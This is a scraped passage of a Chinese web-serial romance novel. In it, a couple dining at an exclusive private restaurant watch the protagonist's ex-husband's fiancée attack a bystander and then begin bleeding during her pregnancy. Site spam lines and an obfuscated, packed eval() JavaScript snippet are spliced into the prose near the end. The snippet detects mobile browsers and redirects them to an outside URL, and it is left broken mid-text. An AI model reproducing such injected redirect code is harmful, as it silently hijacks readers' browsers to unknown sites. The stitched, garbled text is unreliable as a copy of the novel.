岑予衿忙完手里的动作,单手撑着脑袋看着不远处的男人,双腿微微交叠,慵懒的靠在椅子中,单手拿着手机操作,手指修长,不知道在干什么。 不过光是这么一个小动作,就觉得赏心悦目。 果然男人还是得找帅的…… 岑予衿不自觉地拿出手,放大,觉得构图差不多的时候,按下了快门。 咔嚓! 拍照的声音响起的时候,闪光灯也在同一时候亮了起来。 这突如其来的动静在安静的办公室里显得格外清晰。 陆京洲下意识的抬起了头,循声望去。 岑予衿握着手机的手还举在面前,屏幕还亮着,上面定格着他刚才专注看手机的侧影。 光影勾勒出他流畅的下颌线和挺拔的鼻梁,慵懒中带着一丝不易察觉的锐利。 她显然没料到闪光灯会亮,更没想到会被抓个正着,下意识想把手机藏到身后。 然而,陆京洲的动作比她更快。 他放下手机,长腿一迈,几步就跨到了她的办公桌前。 深邃的眼眸里盛满了惊讶,随即被惊喜和毫不掩饰的笑意取代,那笑意简直要从眼角眉梢溢出来。 “周总。”他俯身,双手撑在桌沿,将她困在椅子和自己胸膛之间的小小空间里,语气拖得长长的,带着玩味和促狭,“偷拍我啊?” 岑予衿被他高大的身影笼罩,脸颊更热了,强作镇定地眨了眨眼,试图狡辩,“谁……谁偷拍了?我这是……检查手机摄像头功能。” “哦?检查摄像头功能?”陆京洲挑眉,嘴角的笑意更深,带着洞悉一切的了然,“那怎么……偏偏拍的是我?还开了闪光灯,生怕我看不见?” 他伸出手,掌心向上,摊在她面前,语气温柔却不容拒绝,“证据确凿,周总。手机交出来,让我看看,你把我拍成什么样了?要是拍丑了,可得重拍。” 岑予衿看着他骨节分明的手掌,又看看他亮得惊人的眼睛,知道抵赖不过,心跳却莫名快了几分。 她抿了抿唇,把手机解锁,乖乖放到了他手里,小声嘀咕,“没拍丑。” 长这样360度无死角,怎么能拍的丑嘛? 陆京洲拿过手机,低头看向屏幕。 照片拍得很清晰,构图也不错,光影正好捕捉到他最放松又专注的瞬间。 他看着照片里的自己,又看看眼前脸颊微红、眼神躲闪的老婆,心里那点因为办公室里全是潜在危险而冒出的酸泡泡,瞬间被巨大的满足感冲得无影无踪。 原来,她也会偷偷看他。 原来,她也会觉得他赏心悦目。 这个认知让他通体舒畅,比签下十亿大单还让他兴奋。 “嗯……”他的指尖在屏幕上轻轻滑动,“拍得还行,勉勉强强,还原了我百分之八十的帅气吧。” 岑予衿听他这自恋的话,忍不住白了他一眼,“你少臭美了。” “我说的是实话,不帅吗?”陆京洲理直气壮,指尖一点,把照片设置成了手机锁屏壁纸,动作快得岑予衿都没反应过来。 “喂!你干嘛!”岑予衿想去抢手机。 陆京洲却把手机举高,仗着身高优势让她够不着,另一只手顺势揽住她的腰,将她从椅子上带起来,拥进怀里。 “我老婆偷拍我的帅照,当然得物尽其用。”他低头,用鼻尖蹭了蹭她的鼻尖,温热的气息交融。 岑予衿看了一眼确实挺好看,也就没有要换的心思了。 把陆京洲的手机抢了过来,“那我倒要看看,你的壁纸是什么?” 陆京洲耸了耸肩,一脸求夸夸的表情,“一个已婚男人该有的自觉,你老公我还是有的,锁屏壁纸是你,桌面壁纸是你,连密码都是你生日哦~” 岑予衿打开一看还真是,他这自觉得有点过分了! 把手机放回他口袋里。 “老婆,可以下班了吗?” 岑予衿伸了个懒腰,点了点头,“差不多了。” 陆京洲特别有眼力见儿的,帮她揉着有些泛酸的脖颈,“那出发去吃饭?” “好嘟好嘟~”岑予衿舒服的眯着眼睛享受他的服务。 “那出发?”陆京洲揉着她脖颈的手力道适中,带着抚慰的温柔。 岑予衿舒服地喟叹一声,像只慵懒的猫,“嗯,走吧,亲爱的司机。” 陆京洲低笑,拿起她搭在椅背上的外套,仔细帮她穿好,又俯身将她散落在颊边的一缕碎发别到耳后,动作自然又亲昵,“今天带你去个地方,你肯定喜欢。” 车子驶离繁华的CBD,穿过几条静谧的林荫道,最后停在一处隐匿在闹市深处的青砖黛瓦小院前。 院门古朴,仅有一块不起眼的木牌,木盘上写着隐庐二字,字体飘逸。 “这里?”岑予衿有些好奇,她听说过隐庐,是京城最难预约的私房菜馆之一,一天只接待几桌,菜品全凭主厨当日心意和时令食材定夺,环境清幽雅致,私密性极高。 没想到陆京洲订到了位置。 “嗯。”陆京洲牵着她下车,推开虚掩的院门。 入眼是精心打理过的庭院,假山流水,几丛翠竹,石径通幽。 空气里浮动着淡淡的檀香和隐约的食物香气,令人心神一静。 早有身着素色旗袍的侍者静候,见他们进来,微笑着躬身引路,穿过回廊,来到一间临水的雅室。 推开雕花木门,室内陈设清雅,窗外正对着小小的荷花池,现在虽不是荷花盛放的季节,但几尾锦鲤在残荷间悠游,别有一番禅意。 “陆先生,陆太太,请坐。主厨今日准备的菜单已经拟好,请您过目。”侍者奉上两杯清茶,又将一张手写的素笺轻轻放在桌上。 岑予衿拿起菜单,目光扫过,眼睛微微一亮。 全是她最近偏爱的清淡口味,却又点缀了几道风味独特的创新菜式,显然是用心搭配过的。 “你安排的?”她看向陆京洲。 陆京洲正帮她用热毛巾擦手,闻言抬眼,眸中漾着暖意,“跟主厨沟通了一下你的喜好。尝尝看合不合胃口。” 菜品一道道呈上,摆盘精致。 一道清汤松茸竹荪,汤色清澈见底,入口却鲜醇无比,带着松茸特有的山林气息。 一道芙蓉蟹肉蒸蛋,蛋羹嫩滑如凝脂,蟹肉鲜甜,入口即化。 还有一道樱桃鹅肝,做成樱桃模样,外皮微脆,内里是细腻丰腴的鹅肝,配上特制的酸甜酱汁,巧妙解腻。 岑予衿吃得眼睛都眯了起来,每一口都带着满足的叹息,“这个蟹肉蒸蛋好嫩……鹅肝也好吃,一点都不腻。你怎么找到这么个好地方的?” 陆京洲自己吃得不多,大部分时间都在看她,时不时给她布菜,剔掉鱼刺,剥好虾壳,看她吃得开心,比自己吃了还满足。 “朋友推荐的。知道你最近胃口挑剔,总得找点新鲜的哄你。” 他夹了一小筷清炒时蔬放到她碟子里,“再尝尝这个,说是他们自己园子里种的,很新鲜。” 岑予衿尝了,果然清甜爽脆。她放下筷子,托着腮看他,“阿洲,你最近是不是报了什么‘完美老公进修班’?怎么这么会?” 陆京洲被她逗笑,放下筷子,伸手越过桌面,轻轻握住她的手,“哪用得着报班?看着你,自然就想把最好的都给你。你开心,我就开心。” 岑予衿终于明白什么是真正的幸福了。 她真的被陆京洲照顾的很好。 她吃的饱饱的,舒服的靠在椅子上,正要说话,就听到一道刺耳的女声响了起来。 “打电话不接,发消息不回,你知道现在几点了吗?这就是你跟我说的在公司加班?你告诉我她是谁?” 岑予衿八卦之魂瞬间燃烧,朝着声音传来的看了过去,莫名觉得这声音有点耳熟。 人是在对面的雅间里。 哦豁~这不就是马上要结婚的渣夫和她现任吗? 他们的感情不是很好,怎么会在大庭广众之下闹成这个样子? “周时越你对得起我吗?我跟你说了要按时吃药,那药你有按时吃吗?”林舒薇用力的拍着桌子,发出砰砰砰的响声。 第143章 阿洲!打起来了,打起来了! “吃药!吃药!天天都吃药,那要我一天不停的吃了三年,有用吗?我恢复记忆了吗?” 周时越的声音也有些崩溃,显然也受不了了她了,“你整天在疑神疑鬼什么?你说你不喜欢岑予衿,我把她弄没了,你说你要结婚,我顶着所有压力跟你领证,给你最盛大的婚礼。你怎么就不能体谅体谅我?” 林舒薇愣了几秒,显然是没想到他会这么跟她说话,声音里带着哭腔。 “我怎么就不体谅你了,你身体有问题,我关心你的身体,让你吃药我有错吗?” 岑予衿挪着自己的小凳子,坐在了陆京洲身边,很自然的将身体靠在他身上,将凳子面朝对向的雅间,静静的吃瓜。 陆京洲看着靠在自己身上的小女人,嘴角忍不住往上勾了勾。 看来真像她说的,她已经放下周时越那个死渣男了。 不过也是……他再怎么说也是周芙笙名义上的大哥,两人就算有过一段感情,也不可能深到哪去。 也许他没有失忆之前,他们还有点感情,可失忆之后应该是没什么感情了。 要不然周时越也不会娶岑予衿,也不会把笙笙嫁给年纪能当她爷爷的老头。 岑予衿远远的就看到周时越颓然的坐在椅子上,扶着脑袋,压根没看站着发疯的女人,“自己有没有生病,身体有没有问题,自己心里清楚,这药从今天开始我就不吃了,反正恢复恢复记忆已经没有那么重要了。” “不行!”林舒薇听到这话,声音不自觉的放大了很多,“药不能停。” 周时越不自觉的皱起了眉头,抬眼看向她,“为什么?” 林舒薇被周时越这一眼看得心头一慌,下意识避开了他的视线,但嘴上依旧强硬,“什么为什么?我是为你好!医生说了,这药需要长期服用巩固疗效,不能擅自停药,否则可能会有……会有反复!” “反复?”周时越慢慢站起身,脸上带着一种审视和疲惫混合的陌生神情,他向前逼近一步,“舒薇,你告诉我,我吃的到底是什么药?每次你从‘医生’那里拿来,包装简陋,连个正规的说明书都没有。我问你医生姓名、医院地址,你总是含糊其辞。这药……真的只是为了‘辅助恢复记忆’?” 林舒薇脸色白了白,强撑着不退后,“当然是!不然还能是什么?时越,我们都要结婚了,我怎么会害你?我只是……只是太怕你再想起那些不愉快的事情,怕你难过。三年前要不是我救你,你差点把命都丢了,还不够吗?我不想你再经历一次那种痛苦!” 她说着,泪水涟涟,试图用旧日的情分和柔弱打动他。 然而,周时越眼底的疑惑和冰冷却越来越浓。 三年前那场导致他失忆的意外,始终是他心头的一根刺,没回国的时候,他没觉得有什么。 现在回国了之后,看到岑予衿一边觉得对自己老婆特别愧疚,另一边又觉得自己那么对他,太过分了。 可是……他好像做什么都是错的。 他之后醒来什么都不记得了,只要他想,拼了命的想起来,模糊的细节,每次试图深入回忆,就会头痛欲裂,而林舒薇总会适时地递上药,并温柔安抚,告诉他别勉强自己,一切有她。 久而久之,他似乎也习惯了不去深究。 可最近,尤其是和岑予衿在商场挡刀那次偶遇后,某些破碎的画面和心悸的感觉频繁出现,让他对那段被尘封的过去产生了前所未有的探究欲。 他是真的想恢复记忆。 他想知道自己前半生的生活到底是什么样的? 可林舒薇对此表现出的过度紧张和每次提及“吃药”时的急切,都让他心中的疑虑越来越深。 “痛苦?”周时越喃喃重复,目光锐利地看向林舒薇,“你究竟是怕我回忆起的痛苦,还是怕……我回忆起什么别的事情?” “你什么意思?!”林舒薇声音陡然尖利,带着被戳中心事的惶恐,“周时越,你怀疑我?我陪在你身边三年,照顾你三年,你就是这么对我的?” “正因为你陪了我三年,我才更想弄清楚。” 周时越的声音低沉下去,却带着不容置疑的坚持,“这药,我今天不会再吃了。我会自己去找信得过的医生,重新做一次全面的检查和评估。” “不行!”林舒薇彻底慌了神,扑上去抓住他的胳膊,指甲几乎掐进他的肉里,“你不能去!时越,你听我的,这药真的不能停!外面那些医生不了解你的情况,他们会害了你的!我是你最亲近的人,难道我会害你吗?” 她的反应越是激烈,周时越心中的怀疑就越是确信。 他一根根掰开林舒薇紧抓的手指,眼神是她从未见过的疏离和冷静,“薇薇,正是因为你是我曾经最信任的人,我才更要知道真相。如果这药真的没问题,你怕什么?” “我……”林舒薇语塞,眼睁睁看着周时越拿出手机,似乎要拨打电话预约医生或查询什么。 绝望和恐惧瞬间淹没了她。 不行,绝对不能让周时越停药,更不能让他去查! 如果他真的恢复了记忆,想起当年坠海的事情,想起他失忆前真正爱的人是岑予衿,想起自己这三年来的事情……那她就全完了! “时越,你别这样,我求你了……”林舒薇声音发颤,还想做最后的挣扎。 恰好,雅间的门被轻轻推开。 一个看起来二十出头、穿着得体套裙的年轻女孩探出身来。 她原本是今天谈合作的客户之一,刚才去了趟卫生间,隐约听到争执声,犹豫了一下,还是想着赶紧进来看看。 “周总?您没事吧?这位女士……”女孩,叫苏晓怜,脸上带着善意的关切,声音温和,“有什么话好好说,这里是公共场合,别太激动……” 她本是好意,想劝解两句。 然而,此刻的林舒薇如同惊弓之鸟,任何一点风吹草动都能点燃她濒临崩溃的神经。 苏晓怜的出现,在她眼里瞬间被扭曲成了“又一个想接近周时越的狐媚子”、“来看她笑话的人”。 尤其是看到苏晓怜年轻姣好的面容,以及周时越闻声下意识投去的一瞥,林舒薇心底那根名为“理智”的弦,“啪”地一声,断了。 “滚开!关你什么事!”林舒薇猛地转身,双眸赤红,如同被激怒的母兽,抄起桌上周时越面前那杯几乎没动过的红酒,朝着苏晓怜的脸就狠狠泼了过去! 暗红色的酒液在空气中划出一道弧线,精准地泼了苏晓怜满头满脸。 昂贵的套装前襟瞬间染上大片污渍,酒液顺着她的头发、脸颊往下滴落,狼狈不堪。 苏晓完怜全懵了,惊愕地站在原地,甚至没来得及抬手去挡。 “看什么看?小狐狸精!你也配!”林舒薇泼了酒还不解气,在所有人反应过来之前。 她已经一个箭步冲上前,扬起手臂,用尽全力,狠狠一巴掌扇在了苏晓脸上! 清脆响亮的巴掌声在安静的走廊里回荡,格外刺耳。 苏晓怜被打得偏过头去,脸颊迅速红肿起来,火辣辣的疼。 她捂住脸,眼眶瞬间就红了,又惊又怒又委屈,“你……你神经病啊!我只是……” “只是什么?我警告你,离周时越远点!他是我的!我们马上要结婚了!”林舒薇状若疯癫,指着苏晓的鼻子破口大骂,完全不顾形象,也丝毫没注意到周时越瞬间变得铁青的脸色,以及周围其他雅间被惊动、纷纷打开门探头查看的客人和侍者。 周时越简直不敢相信自己的眼睛。 眼前这个泼妇一样当众撒泼、无故伤害陌生女孩的女人,真的是他认识的那个温柔体贴、善解人意的林舒薇? 巨大的失望和厌恶如同冰水浇头,让他彻底清醒,也彻底心寒。 “林舒薇!你够了!”他厉声喝道,一把将还想继续扑打苏晓怜的林舒薇拽开,力道之大,让她踉跄了好几步。 他看也没看被他甩开的林舒薇,急忙脱下自己的西装外套,快步走到还在发愣、满脸酒渍泪痕的苏晓怜面前,将外套披在她颤抖的肩膀上,挡住污渍,连声道歉,“对不起,苏小姐,非常抱歉!是我没处理好私事,连累你了。你的医药费、精神损失费,还有衣服,我都会赔偿。我马上送你去医院检查!” 苏晓怜吸了吸鼻子,看着眼前一脸诚恳焦急的周时越,再看看那边被甩开后如同失去所有力气、瘫坐在地上喃喃自语的林舒薇,混乱的脑子稍微清醒了点。 她认得周时越,知道他是重要的潜在合作方,眼下这场面…… “不……不用了周总,我自己处理就好。”苏晓怜勉强保持着一丝职业素养,不想把事情闹得更大,但脸上的疼痛和屈辱让她声音哽咽。 这边的巨大动静,自然也清晰地传入了隔壁雅间。 岑予衿在听到巴掌声的时候,就下意识地抓紧了陆京洲的手,看热闹不嫌事儿大的评价,“阿洲,打起来了!打起来了!” 第144章 见红了 陆京洲感受着掌心被她攥得微微发紧的力道,低头看向她亮晶晶的眼睛,里面满是看热闹的雀跃,像只发现了新鲜趣事的小狐狸。 艹! 他老婆怎么能这么可爱? 完了,他沦陷了~ 他喉结滚动了一下,眼底漾开浓得化不开的宠溺,抬手揉了揉她的发顶,声音低沉又带着笑意,“看把你激动的,手都攥疼我了。 岑予衿吐了吐舌头,松开手又立刻挽住他的胳膊,脑袋往他肩上蹭了蹭,小声嘀咕,“谁让他们这么精彩嘛,林舒薇简直像被踩了尾巴的猫,太好笑了。 她一边说,一边还忍不住探头往门外瞟,生怕错过任何一个细节。 陆京洲顺着她的目光瞥了眼门外乱糟糟的景象,周时越正忙着安抚被打的苏晓怜,林舒薇瘫在地上神志不清,周围的围观者指指点点。 他收回目光,重新落在身边人的脸上,见她嘴角还挂着看热闹的小弧度,忍不住低头在她额间印下一个轻柔的吻。 “小没良心的,他捏了捏她的脸颊,语气里满是纵容,“别人闹得鸡飞狗跳,你倒好,看得津津有味。 “本来就是他们自己闹出来的嘛~我看看怎么啦~岑予衿仰头看他,眼睛弯成了月牙,“而且有你在身边陪着我一起看,更有意思了。 她的坦诚和依赖像温水一样熨帖着陆京洲的心,他收紧手臂将她更紧地搂在怀里,鼻尖蹭了蹭她的发梢,低声道,“只要你喜欢,以后不管是什么热闹,我都陪你看。不过…… 他话锋一转,眼神里多了几分占有欲,“看完了就该回家了,别让这些不相干的人,占了我老婆太多注意力。 岑予衿笑得眉眼弯弯,主动凑上去在他下巴上啄了一下,“好呀,都听你的。 她的脑袋又往他颈窝蹭了蹭,找了个更舒服的姿势,继续隔着雕花木门的缝隙往外瞄,小声嘀咕,“这可比电视剧刺激多了,都不用等广告。你看林舒薇那样子,啧啧,平时装得多温柔啊,原形毕露了吧? 陆京洲被她这生动的形容逗笑了,胸腔微微震动。 他觉得自家老婆这副幸灾乐祸又带着点小八卦的可爱模样,比对面那场混乱的闹剧有趣一万倍~ “是是是,我们笙笙火眼金睛。 岑予衿其实已经饱了,但还是就着他的手咬了一小口,清甜不腻,满足地眯起眼,一边咀嚼一边不忘继续点评,“周 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 时越这次倒是挺男人嘛,知道护着无辜的人。不过也活该,谁让他当初眼瞎。你都不知道我受了那女人多少欺负!他从来都没帮过我,果然恶人自有恶人磨。 她的语气里带着点天道好轮回的小得意。 陆京洲含笑听着,手指温柔地帮她擦掉嘴角一点糕点屑,听到这话手上的动作一顿,眉头皱在了一起,“林舒薇她还欺负过你? 岑予衿嚼着桂花糕的动作一顿,抬眼时眼底还带着点未散去的小得意,像只打赢了架还没收起爪子的小奶猫,“你以为我没打回去? “我打了!她咽下嘴里的糕点,往陆京洲怀里缩了缩,声音带着点邀功的雀跃,“真的,我**可狠了。一点亏都没吃。 她语速飞快,像倒豆子一样把当初的战绩说出来,语气里满是我可没吃亏的傲娇,完全没注意到陆京洲脸上的笑容渐渐淡了下去,眼底掠过一丝心疼。 陆京洲抬手,指尖轻轻抚过她的脸颊,声音比刚才低沉了些,“所以那时候,周时越也没帮你? “帮我? 她挺了挺胸脯,像只倔强的小刺猬,“她欺负我一次,我就还回去一次,从来没让自己真的受委屈。你看现在,她还不是原形毕露,被周时越嫌弃了?这就是报应! 陆京洲看着她故作坚强的小模样,心里像被什么东西揪了一下。 他能想象到,当初小小年纪,又软又乖的她,在周家孤立无援,面对林舒薇的刁难,只能用这种笨拙又倔强的方式保护自己。 而本该护着她的哥哥周时越,却始终站在对立面。 不过想来也能理解,毕竟他是陆家亲生的也不过如此,别说是她一个周家养女了。 陆京洲收紧手臂,将她紧紧搂在怀里,下巴抵着她的发顶,声音温柔得能滴出水来,“我们笙笙真厉害,能自己保护自己。 顿了顿,他的语气里带上了几分不容置疑的霸气,“不过以后不用了。有我在,谁也不能再欺负你分毫。林舒薇也好,其他人也罢,只要敢动你一根手指头,我就让他们付出代价。 岑予衿靠在他温暖的怀里,听着他有力的心跳声,鼻尖微微发酸。 这些年,她从来没跟人说过这些藏在心底的委屈,今天一时兴起说出来,却得到了最坚实的安慰。 岑予衿蹭了蹭他的胸膛,声 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 音闷闷的,“知道啦,我的陆先生最厉害了。” 陆京洲低头,在她泛红的眼角亲了一下,眼底满是心疼,“所以以后再有这种事,不准自己憋着,也不准自己硬扛,第一时间告诉我。听到没有?” “听到啦!”岑予衿仰头看他,眼底的黯淡已经褪去,又恢复了亮晶晶的模样,她主动凑上去吻了吻他的唇,“那我们现在可以继续看戏了吗?” 看着她瞬间又被热闹吸引的小模样,陆京洲又气又笑,捏了捏她的脸颊,“小八卦精。” 但他还是顺着她的意,没有立刻拉她走,只是紧紧握着她的手,陪她一起隔着门缝往外看。 眼神偶尔飘向门外的周时越和林舒薇时,眼底多了几分冰冷的戾气。 很快他就移回了自己的视线。 他的目光始终落在岑予衿脸上,看她吃得腮帮 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此刻,看着她痛苦蜷缩,身下染血的模样,巨大的恐慌,狠狠攫住了他的心脏。 “时越……疼……孩子……我们的孩子……”林舒薇虚弱地呻吟着,眼泪混合着冷汗滚落,眼中充满了恐惧和绝望。 “孩子”两个字像惊雷一样在周时越耳边炸开。 他什么都忘了。 忘了她刚才的疯狂,忘了她的欺骗,忘了那些可疑的药片,也忘了自己几分钟前还对她充满厌恶和决绝。 他的眼里,只剩下她痛苦的模样和那片刺目的血红。 “薇薇!对不起,别怕,我在这里!我马上送你去医院!”周时越几乎是扑了过去,声音颤抖得不成样子。 他小心翼翼地想要扶起林舒薇,却又不敢用力,手忙脚乱,平时的冷静自持荡然无存。 他转头疯狂的冲着已经赶过来的餐厅经理和保安嘶吼,“叫救护车!快!快啊!” 刚才还对他怒目而视,觉得他处理不当的围观者,此刻也被这突如其来的变故惊呆了,有人帮忙打电话,有人试图维持秩序,看向周时越和林舒薇的眼神复杂难辨。 而被泼了酒,挨了巴掌,受了委屈的苏晓怜,此刻也被晾在了一边,脸上红肿未消。 看着周时越慌乱无措、满心满眼只有地上那个女人的样子,神情有些怔忪,也有些说不清的黯然。 她默默地拢紧了肩上属于周时越的西装外套,退到了一边。 雅间内,陆京洲已经从外面的混乱和只言片语中拼凑出了大概。 眉头微蹙,低头看了看怀里的小女人。 岑予衿也听到了孩子,出血等字眼,脸上的吃瓜听八卦的表情褪去,取而代之的是一丝惊讶和复杂。 她知道林舒薇怀孕了,但没想到会闹到见红的地步。 第145章 就是突然想亲你 周时越抱着林舒薇冲出雅间的那一刻,走廊上混乱的光影和人声如潮水般涌来。 吊灯的光线在奔跑中晃动成斑驳碎片,服务员的惊呼、其他客人的议论、远处隐约传来的救护车鸣笛。 所有声音混杂在一起,令人心慌到**。 他的脚步仓促而沉重,怀里的林舒薇面色惨白如纸,呻吟声微弱得几乎听不见。 鲜红的血迹在她浅色的裙摆上晕开,像一朵朵触目惊心的花,正不断蔓延扩大。 那红色刺得周时越眼睛发痛,巨大的恐慌攫住了他全部心神,手指不自觉地收紧,几乎能感觉到林舒薇身体轻微的颤抖。 “坚持住,薇薇,救护车马上到了。他的声音嘶哑,不知是在安慰她还是安慰自己。 林舒薇没有回应,只是艰难地抬起眼皮看了他一眼,那眼神里混杂着痛苦和某种更深的东西。 周时越心下一紧,正要加快脚步,视线却在这兵荒马乱的瞬间不经意扫过对面半开的雅间门。 那扇门仿佛是两个世界的分界线。 门内光线柔和昏黄,与外界的喧闹隔着一层无形的屏障。 雕花木门半掩,透过缝隙能看见雅间内的陈设,深色木质桌椅,墙上挂着水墨画,一盏落地灯洒下温暖的光晕。 而最刺目的是坐在宽大椅子里的陆京洲,以及他腿上那个熟悉又陌生的身影——岑予衿。 他的前妻! 她整个人蜷在陆京洲怀里,侧着脸,嘴角甚至带着一丝未来得及收起的浅淡弧度,双手亲昵地搭在他的肩膀上。 她似乎在和他说着什么悄悄话,那样子看起来放松而开心,与走廊上的混乱格格不入。 陆京洲的手臂牢牢环着她的腰肢,姿态亲密而充满占有欲,另一只手还抚在她的发间,指尖缠绕着一缕黑发,像在把玩最珍贵的所有物。 他微微低头,专注地看着怀中的人,那张向来冷峻的脸上此刻竟有几分罕见的温柔。 周时越的脚步不由自主地顿住了。 怀里的林舒薇发出一声痛苦的闷哼,但他像是没有听见,视线死死钉在那幅画面上。 一种极其复杂的情绪猛地攥住了他——有震惊、有错愕、有难以置信,更有一丝连他自己都无法理解的刺痛感,尖锐地扎进心脏最深处。 “时越…… 他下意识地收紧手臂,目光却无法从对面移开。 岑予衿的笑容,她依偎在陆京洲怀里的姿态 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,那种全然的信任和放松。 这些画面像一根根冰冷的针,刺入他混乱焦灼的脑海。 让他动弹不得,定在原地。 她是他的。 这个念头毫无预兆地冒出来,强烈得几乎让他窒息。 她应该是他的! 可另一个声音立刻反驳:他怀里抱着的才是他的妻子,是他要共度一生的人,也是他这辈子最对不起的人。 为了他,林舒薇的腿落下了残疾,她为他付出了一切。 两种声音在脑海中激烈交战,周时越感到一阵眩晕,头痛欲裂。 他死死盯着岑予衿,试图从她脸上找出任何一丝不情愿或勉强,可是没有。 她甚至主动往陆京洲颈窝蹭了蹭,像一只寻求温暖的小动物。 陆京洲就在这时掀起了眼皮。 他的目光精准地捕捉到门口那道近乎失魂落魄的视线,眸光冷淡地迎了上去,恰好将周时越眼中的空白与震动尽收眼底。 陆京洲的嘴角几不可察地勾起一丝极淡的弧度,那笑意里掺杂着冷意和挑衅,像是在无声宣告着什么。 怀里的岑予衿似乎对门口的凝视毫无所觉。 她小小的打了个哈欠,眼角沁出生理性的泪花,下意识地往陆京洲温暖的颈窝又蹭了蹭。 “救护车还没到吗?好像没声音了……”她含糊地小声问,声音里带着刚打完哈欠的柔软鼻音。 她的注意力显然还在走廊那场未落幕的戏上,完全没有发现主角之一正死死地盯着她。 岑予衿甚至微微侧头,想从陆京洲肩头往外看,却被他轻轻按了回去。 “别乱动。”陆京洲低声说,声音里有一种岑予衿熟悉的温柔,但若是仔细听,还能辨出一丝不同寻常的紧绷。 陆京洲的目光仍然锁定在周时越身上。 他看见对方抱着林舒薇的手臂在微微发抖,看见那双曾经对岑予衿漠不关心的眼睛里此刻翻涌着复杂难辨的情绪——有震惊,有痛苦,甚至有一丝……不甘的嫉妒? 这个认知让陆京洲眼底的冷意化开,被一片浓稠的温柔覆盖。 但那温柔是给怀中人的,给门外那个人的,只有冰冷的警告。 他没有回答岑予衿的问题,也没有理会门口那道僵住的身影。 在岑予衿毫无防备的情况下,他低下头,精准地吻住了她的唇。 这个吻并不深入,却足够缠绵,带着明确的宣示意味。 他的手掌托住她的后脑,将她更紧密地压 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 向自己,彻底隔绝了门外可能投来的任何视线。 在这个吻里,有占有,有保护,还有一种深沉得难以言喻的情感。 “唔……”岑予衿惊愕地睁大了眼睛,长长的睫毛颤动如蝶翼。 但很快,陆京洲熟悉而令人安心的气息包裹了她。 虽然疑惑这突如其来的亲热,她还是顺从地闭上了眼,纤细的手指无意识地揪紧了他胸前的衣料。 她能感觉到他今天有些不同——吻得更用力,拥抱也更紧,仿佛在确认什么,又像是在对抗什么。 不过她很快就不再思考这些。 陆京洲的吻有种魔力,总能让她忘记周遭的一切。 她放松下来,开始浅浅回应,感觉到他因为这个回应而呼吸一滞,随即吻得更深了些。 周时越如遭雷击。 怀中林舒薇痛苦的呻吟变得模糊而遥远,眼前只剩下雅间内那刺眼的一幕。 陆京洲低头吻着岑予衿,那样自然而独占。 而岑予衿竟全然接受,甚至隐约回应。 透过半开的门,他甚至能看到陆京洲手指插入她发间的动作,温柔而占有欲十足。 一种前所未有的荒唐感和尖锐的失落感席卷了他。 是他亲手把岑予衿推开的。 是他选择了林舒薇。 可为什么,看到岑予衿在别人怀里,他会觉得这一幕如此刺眼? 心脏像被一只无形的手攥紧,痛得几乎无法呼吸。 心底某个角落,似乎有什么被遗忘的东西在尖锐地叫嚣,却抓不住丝毫头绪。 “周先生!救护车到楼下了!”经理焦急的呼喊从走廊尽头传来,紧接着是医护人员急促的脚步声和担架轮子滚动的声音。 怀里的林舒薇发出一声更虚弱的痛呼,身下的血迹似乎又扩大了一圈。 现实冰冷的恐惧再次攫住周时越,他猛地回过神,逼迫自己移开视线。 不能再看了。 他对自己说。 可是目光还是不受控制地又瞥了一眼。 陆京洲已经结束了那个吻,但没有放开岑予衿。 他正低头对她说着什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866370|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑予衿点点头,脸颊微红,眼睛却亮晶晶的。 陆京洲用拇指轻轻擦过她的唇角,那动作亲昵得刺眼。 “时越……我好痛……”林舒薇的声音将周时越彻底拉回现实。 他咬紧牙关,不敢再看那雅间内温馨缱绻的两人,抱着林舒薇,踉跄着冲向电梯的方向。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 脚步匆忙,背影仓皇而狼狈,仿佛在逃离什么。 电梯门缓缓关闭,将走廊的喧嚣隔绝在外。 在最后一刹那,周时越还是忍不住抬眼,陆京洲正抱着岑予衿站起来,将她稳稳地护在怀里。 岑予衿的手臂环着他的脖子,脸埋在他肩头,完全是一副依赖的姿态。 陆京洲的目光穿过逐渐闭合的电梯门缝,与周时越的对上,那眼神平静无波,却又仿佛说了千言万语。 电梯下行。 周时越靠着冰冷的轿厢壁,闭上眼睛。 林舒薇已经被医护人员接过去进行紧急处理,担架上她苍白的脸和身下刺目的红,本该占据他全部心神。 可是脑海里挥之不去的,却是岑予衿在陆京洲怀里的模样。 她笑得那么开心。 …… 直到外面的喧嚣随着电梯门的关闭彻底远去,陆京洲才缓缓结束了那个吻。 他稍稍退开,指腹摩挲着岑予衿泛着水光的唇瓣,眼底深处藏着只有他自己懂的冷冽与满意。 刚才周时越的眼神他看得清清楚楚,那不是单纯的前任看到前任有了新欢的反应,又或者是哥哥看妹妹的。 里面有很多复杂的情绪。 甚至还能看到一丝……后悔。 陆京洲的嘴角勾起一个几不可察的弧度,很快又隐去 。他将岑予衿重新按回自己胸口,下颌轻轻抵着她的发顶,闻着她身上熟悉的淡淡香气,心中的躁动才渐渐平息。 “怎么了嘛?干嘛突然亲我?”岑予衿脸颊微红,气息有些不稳,疑惑地眨眨眼。 她隐约觉得刚才陆京洲的情绪有点不对,但具体又说不上来。 而且他很少在公共场合这样,更别提门外刚刚还有那么大的动静。 陆京洲没有立即回答,只是更紧地抱了她一会儿。 他能感觉到她的心跳,平稳而有力,与他胸腔里的节奏逐渐同步。 “没什么。”他终于开口,声音恢复了惯常的温柔低沉,却带着一丝不容置疑的占有,“只是突然想亲你了。” 岑予衿抬起头看他,眼睛在昏黄的光线下显得格外明亮:“真的?” 陆京洲望进她眼底,那里清澈见底,没有怀疑,只有单纯的好奇和关切。 他心头一软,忍不住又低头轻吻她的额头。 